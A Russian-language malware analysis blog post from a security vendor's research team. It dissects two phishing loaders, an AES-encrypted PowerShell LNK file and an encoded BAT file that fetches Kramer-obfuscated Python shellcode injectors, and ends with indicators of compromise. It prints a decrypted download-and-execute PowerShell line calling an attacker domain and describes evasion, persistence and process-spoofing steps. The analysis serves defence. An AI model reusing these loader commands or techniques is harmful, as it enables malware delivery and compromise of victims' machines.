
Привет, Хабр! На связи команда UserGate uFactor и я — ее участник Степан Панфилов.
Мы запускаем целую серию материалов, посвященных исследованию кибератак.
Да, мы не только разрабатываем NGFW, но и, как положено серьезной ИБ-компании, анализируем актуальные угрозы. Сегодня мы рассмотрим два сценария загрузки основных вредоносных модулей на компьютерную систему атакуемого. Первый сценарий — атака при помощи LNK-файлов, в которых применяются криптографические методы, второй — атака через BAT-файлы.
Основным вектором атаки в обоих сценариях выступает фишинговая рассылка. Файлы, приложенные к фишинговым электронным письмам, обычно упакованы в ZIP-архив. Иногда архивы защищают паролем для обхода СЗИ, сам пароль указывается в тексте сообщения.
Сценарий 1: криптография в LNK-файле
В качестве промежуточного звена для загрузки основного вредоносного модуля могут быть применены файлы MS-SHLLINK. Для выполнения сценария в LNK-файлах используются командные интерпретаторы CMD или PowerShell, но также есть и другие методы. К сценарию зачастую применяются методы сокрытия вредоносных команд, такие как кодирование, обфускация или шифрование, что затрудняет детектирование угрозы средствами защиты информации.
Рассмотрим на примере вредоносного LNK-файла один из способов сокрытия ключевой информации с помощью шифрования.
Для просмотра содержимого LNK-файлов можно воспользоваться hex-редактором, утилитами xxd или cat в UNIX-подобных системах. Стоит обратить внимание, что некоторые hex-редакторы могут отображать не сам LNK-файл, а содержимое файла, на который ссылается ярлык, — будьте внимательны.


Скопируем сценарий и приведем его в более удобный для чтения вид.

На рисунке 3 видно, что сценарию передаются два строковых аргумента «a» и «b», закодированных в base64. Аргумент «a» является зашифрованным сценарием, а «b» — ключом для дешифровки. Также создается объект System.Security.Cryptography.AesManaged, который предоставляет управляемую реализацию алгоритма симметричного шифрования AES. Аргументы «a» и «b» передаются в переменные «$a» и «$b» соответственно.
Для дешифрования воспользуемся PowerShell. Немного преобразуем команды и исключим команду Invoke-Expression $h для того, чтобы основной сценарий не исполнился.

На рисунке 4 представлен расшифрованный вредоносный сценарий: $script = Invoke-WebRequest -Uri 'https://emptyservices[.]xyz/public/904e5c82a258472395094ca10082fdfb.txt' -UseBasicParsing; Invoke-Expression $script.Content считывает содержимое файла 904e5c82a258472395094ca10082fdfb.txt на удаленном ресурсе и выполняет файл.
Получить дополнительную вредоносную нагрузку для дальнейшего анализа можно при помощи PowerShell, предварительно заменив команду Invoke-Expression $script.Content на echo $script.Content, или, например, использовав утилиту curl или скачав через браузер. Но, к сожалению, на момент исследования вредоносная нагрузка была недоступна.
Дополнительно стоит отметить, что переменная $KEYIV (см. рис. 3), скорее всего, является ключом для расшифровки сценария в файле 904e5c82a258472395094ca10082fdfb.txt.
Сценарий 2: BAT-файл и обфускация Kramer в Python Malware
Теперь рассмотрим интересный сценарий доставки и исполнения основных вредоносных модулей.
Загрузчиком основных вредоносных модулей выступает командный BAT-файл. Злоумышленники не применяют к сценарию в BAT-файле сложную обфускацию, а только меняют кодировку текста. При просмотре содержимого BAT-файла с помощью стандартных средств, например Notepad, увидим следующую картину.

Для того чтобы получить читаемые данные, воспользуемся ресурсом CyberChef и плагином Text_Encoding_Brute_Force.

Скопируем полученную информацию в текстовый редактор и приведем код в читаемый вид.


Как видим, сценарий прост:
1. Попытка открыть любой PDF-документ в директории %USERPROFILE%\Downloads — вероятно, используется для отвлекающего маневра. Поскольку нам неизвестен сам вектор атаки, можно предположить, что существуют техники, предшествующие запуску BAT-файла, которые доставляют PDF-документ.
2. Поиск процессов антивирусных программ.
3. Загрузка дополнительных файлов из интернета.
4. Разархивация и перемещение.
5. Запуск Python-скриптов.
6. Загрузка дополнительных модулей.
7. Размещение дополнительных модулей в автозапуске.
8. Загрузка дополнительных файлов из интернета и их разархивация.
Содержимое файла startuppp.bat (см. рис. 8), добавленного в автозапуск, также закодировано. После преобразования получаем:

Из команд в файле startuppp.bat понятно, что он отвечает за запуск последних скачанных и разархивированных скриптов Python. На момент исследования все файлы доступны и их можно скачать, например, при помощи браузера.
Посмотрим для примера содержимое одного из архивов, представленных на рисунке 10.

Следует обратить внимание на следующие файлы: fv1.py, fv2.py, fv3.py, fv4.py, fv5.py, fv6.py, yam1.py, yam2.py, yam3.py, yam4.py, yam5.py, yam6.py. При открытии любого из них для чтения становится понятно, что это скомпилированные файлы Python.

Воспользуемся ресурсом для декомпиляции PyLingual. Для примера возьмем файл yam1.py, предварительно изменив расширение на .pyc.

Если внимательно посмотреть на код на рисунке 12, то можно увидеть class Kramer. После анализа кода становится ясно, что к файлу была применена обфускация при помощи приложения Kramer. Воспользуемся деобфускатором kramer-specter_deobf. После деобфускации получаем код.

При чтении кода становится понятно, что вредоносный скрипт расшифровывает шеллкод, записывает его в выделенную память и исполняет. Алгоритм для всех файлов (fv1.py, fv2.py, fv3.py, fv4.py, fv5.py, fv6.py, yam1.py, yam2.py, yam3.py, yam4.py, yam5.py, yam6.py) одинаков. Сам расшифрованный шеллкод можно получить применив способ, представленный на рисунке 14, а дальше — попробовать изучить его в дизассемблере или отладчике.

При динамическом анализе алгоритм работы вредоносных файлов fv1.py, fv2.py, fv3.py, fv4.py, fv5.py, fv6.py, yam1.py, yam2.py, yam3.py, yam4.py, yam5.py, yam6.py становится более понятным. После запуска вредоносного файла, в зависимости от условий (см. рис. 9), каждый вредоносный модуль — их всего шесть — инициирует процесс notepad.exe и внедряет в него код. Таким образом, в дереве процессов появляется шесть экземпляров notepad.exe, каждый с разными идентификаторами.
Особенность заключается в том, что вредоносные файлы используют технику parent process spoofing, которая усложняет детектирование. В результате, если исследователь получит список исполняемых процессов в операционной системе, он увидит, что для всех экземпляров notepad.exe родительским процессом значится Explorer.exe.


Заключение
Проведенный нами анализ показывает, что даже простые кибератаки могут быть многообразны и эффективны. Мы разобрали два сценария: в одном использован LNK-файл, в другом — BAT-файл. В обоих случаях злоумышленники применяют техники сокрытия вредоносного кода для обхода автоматизированных средств защиты информации. Этого может быть достаточно для успешных атак в обоих сценариях. Детальный ручной анализ помогает выявить техники и процедуры, а также получить дополнительные индикаторы компрометации, что позволяет построить надежную защиту.
IoC (сценарий 1):
RunScriptProtected.lnk
7d7b89cb7fa6155b1e01334175ac1c5b
e777ad0ff4d4510ee345c06c34123b279b0b7ad6
7c8be71b3cfef2de7343bd48d20e33a6f2f94409d59c50f5ac3a5bbd703789fc
Payload
https://emptyservices[.]xyz/public/904e5c82a258472395094ca10082fdfb.txt
IoC (сценарий 2):
Comman&Control Server
12.187[.]175.72
Payload
http://dbasopma[.]one:6049/FTSP.zip
http://dbasopma[.]one:6049/cam.zip
http://dbasopma[.]one:6049/bab.zip
http://dbasopma[.]one:6049/PWS.vbs
http://dbasopma[.]one:6049/PWS1.vbs
http://dbasopma[.]one:6049/startuppp.bat
File
7be44884a763ee99b69a3388407cff98
ffb8a0d984e443250676957bfc16d02223e38ce7
ece1e5b6e77d8da8ecdaed554eb09670f0c1bbf80dadd783b6d904542f72ba0e
----------------------------------
a06c4773ca80b0b7d0fcc05e663cec3d
825ee18ad6645e7634fc2524af5ef1d394dfab00
f3661f62ec4a6d8a2077a4f882627c2e039a5270d5e73684881711c712710d23
----------------------------------
a7c55ff964188d62485692b6c2061a8a
80e8b62250ab32810e8da4fe602b29d303b3a247
12c1d0dc09a545bda4b219bb87fac6b5a222f7c02a414ee26e0ac92162892f92
----------------------------------
new.bat
b79e56969d36c4b969bbe1623142e74a
a7bcc5273b86e75dad66fed8fab1ec546ffa3bfd
6eb141225c4e4bfe3c347cac44b939ef697616b32e7d3646d6944210d99d0960
PWS.vbs
2862ffb5ea32ff114bebe41576441b02
d9e78d276186e5ca049724796494489e228ff431
0d7cee0c13374181a23e8f605b32f2969c9c490b83c7891318f26bd17777fd7c
----------------------------------
PWS1.vbs
06480f1e6aa48daab019e8f1a6b834c9
c735c2d22e2fe79a39111e76a9966d0720f023a1
5d932bfda0ffd31715700de2fd43fc89c0f1d89eeabac92081ebe2062da84152
bab.zip-\bab\Python\Python312
c437b4a8b925c986d9cd660295e6e2e4
8bd2e47531a2676448b3e1dc793919edc898fb84
fa11c54afcffef94b6e0ee284b37d2c4376f0f7d3295f6fb6fa2d67fb607da2f
----------------------------------
de51465cec3b469fa1f6cab087a47f71
e0b2eaefe9e4e023e7314dff213fa535e3fb3274
4c74b2d6f11f51c776c3d15c8cabc530653a57ed3dfd27b3804c81cc975311de
----------------------------------
edb374796f6fe20e3b62962811968142
3d236f99d1f558e6bfc960733e3f46f55199848b
5bb7b38fb90155537984893cb90375a39815669e728fd84d08accd8b67079198
----------------------------------
7e0327b8f7ca202d364b7cd6c66a86be
adacd10869352a8cf03e9836795b01f7a062377c
863b88cf2b1c425d01aaad64bcdf4317d704c4041482ea21cceffc26a7fde4ea
----------------------------------
f3574e48592f487fe7ad041c6f5bbab7
4586aff8e8f603adc3785dd5137844658120b16e
96bd07804ef395303c7ddb88066b607e13d35e339c87d8d1cb6f838e560caddc
----------------------------------
dabb3e0db9cb70b1dcdb011295b41ef4
279ed2b31867519e834680df2a86e8aa894b61d2
162c6ad1d8e19372b4ea0dacffae8947e2b1477498cb12c3e5f3a0923f98e33f
----------------------------------
6342a69ed8ea8af5424eb4749e571e97
dac3c1cac7de687cc427c899202f497c4078be8a
da82cbbc5da3b329a120540ea4543e31e354e125f7051c0dc35874b5b9a00c9c
----------------------------------
cam.zip-\cam\Python\Python312
027b0fe02fcb8f3abf10941c8a7409aa
906afab8bdd31666889ff5941c72d79396f69f01
7023f20f5264c9d83b17d995a07f0cc255fa0861c5bf83101034a430c8ff85d6
----------------------------------
34f4db87eb50604d1f2dc6862d0ce0d2
8f887607d01d99fce12eb47ce4cd7632b4a5931f
8ed0e51fac43d041360f5a7b8b59285f6c98a1f3954401d4c4b8f5a95eface0f
----------------------------------
add4dd9dfa71108b7bedadb6e97987e5
caaa211710b53c9cab8fcdb45772b05e39e3af13
f136acbb905459aa3292dd65c86361cb863c94d710ade951ac2208a88c36ec6a
----------------------------------
baed94b62771a3b551c0462f22561f80
ea0578a49f184ba9d1271619f9639f586dae591a
75cf8d1c43fad756cb9c6da084a71ee50bd3d4a46e870df14cdd2135d86681a5
----------------------------------
0a8656dd5ea10669617881d384ec531b
4003ccd4098d2f56255e2bec992cfe978cfc4b6d
7bb3936b975266dfac275080576000fc368ca7388dd1931f891cc80565c82daa
----------------------------------
14fff2e3ec317ba6174c73d8ff432e89
226940eb6ae3e6069f7a93fe8d800437941d0c07
c1969a287c8425d306dab962572667b26ad2135376d3dc24fdf6dba52d6ee62b
----------------------------------
a149927719c37087abd9782a281bd0c4
a8077647e030ec604d2576b36b6ddc3086ecf38b
511565889577b25381558039feaf37ec36d98806fbc5d643dc8a51ee5aab37e6
----------------------------------
FTSP.zip-\FTSP\Print\Python312
fv1.py
2937c54a89355dd0e1c5ee87145635ae
63605c2c5484ccfd359af5da9714508698e9efe3
c20a2d5c4bd09c1858ac88c8900609c9306e59e412d1d3b37be5c5971d9561f4
----------------------------------
fv2.py
2e4249736ffe4977ef0e667675dfa0b7
f530e1fd18a0f31eddf70c5491e3b03235416b30
382dbe6d39c39fd38e1ee247592deaab1d55a4525f062cb9372de08cb842330e
----------------------------------
fv3.py
566bbee17a5af649e465b7dfba1f2de0
d3939d3eed0341cf0b8eb256142487690300aaec
7184b9380355584e2c2279cd3bf50ba651b26848f390e723dc33f80ef865f9d2
----------------------------------
fv4.py
09ced038c86243c2fdcf7478e41e69db
d44e59b64d443b82e5123af9f7a46c6866503c31
8877e607552950a006062ee083437e733de5f502c0979b8de20962327d426395
----------------------------------
fv5.py
8113a620761a6da49ce678f56f48ce8e
671b7940be5f857e1f517bf784a672feba221de9
5645e16631e12be7eb36aeba6fe76cdff82b8be163a44a442188d90fb44cec34
----------------------------------
fv6.py
fe7d106dca7cfd92e8e375103703cfff
01450c1567a96dde91c50638c0fc42ca71f25777
2997b820a4834add998b16e373eb7c63a4b72eb508a09c57b0f04a2557438c94
----------------------------------
yam1.py
e9dc79e096ccd79ea1daf0203eeec102
cf8f946d49f5e3db3b7535d3c3e1b25a0de238e0
64ebc4b51139cc65b4140f8600b7d3e5f40c7d6b3fb754c29b6d5801c6605e2f
----------------------------------
yam2.py
d20a1dcef8d4e48bfaa90abd0d5516bd
7140f0c13191c10b93cd8cb15b667c40cccfb842
2fc47aceb8eeb0ac4d47d5b2002275d961a0a39fe77069500de2ab8c0ba03a44
----------------------------------
yam3.py
935814f39b1b39fe0fe9186e560321dd
b27ab2cafe49b438cdca41dbfe85306729ba0a32
8fbb326abcc859280a33343cbd3ffc3dcc5366123da25d99868e950100a21fec
----------------------------------
yam4.py
abe3d57fde219f4fb7e59c9a0c8a260f
992a557755273e7966198a32bfcaa03c4258a183
59d1768012f0449539cb7fec717d8ff39906009c288bf4db6a0bee19c13d8754
----------------------------------
yam5.py
2a87efce9af96a06278423d7d1e32685
09b5de02a26f602806a09f7f4fcd858c99acc588
64b72524187da048c17958c5915d746a6ea3d283b8d6c91d60353c12109968fe
----------------------------------
yam6.py
0628e001040172046528325e189b43e2
09c5482a10b9c35e94356e4333cd2342aa94c3f0
8ea818f50a520660e3a62fcbba9e3df82635bf1b2d9530c24fa6624187ba628c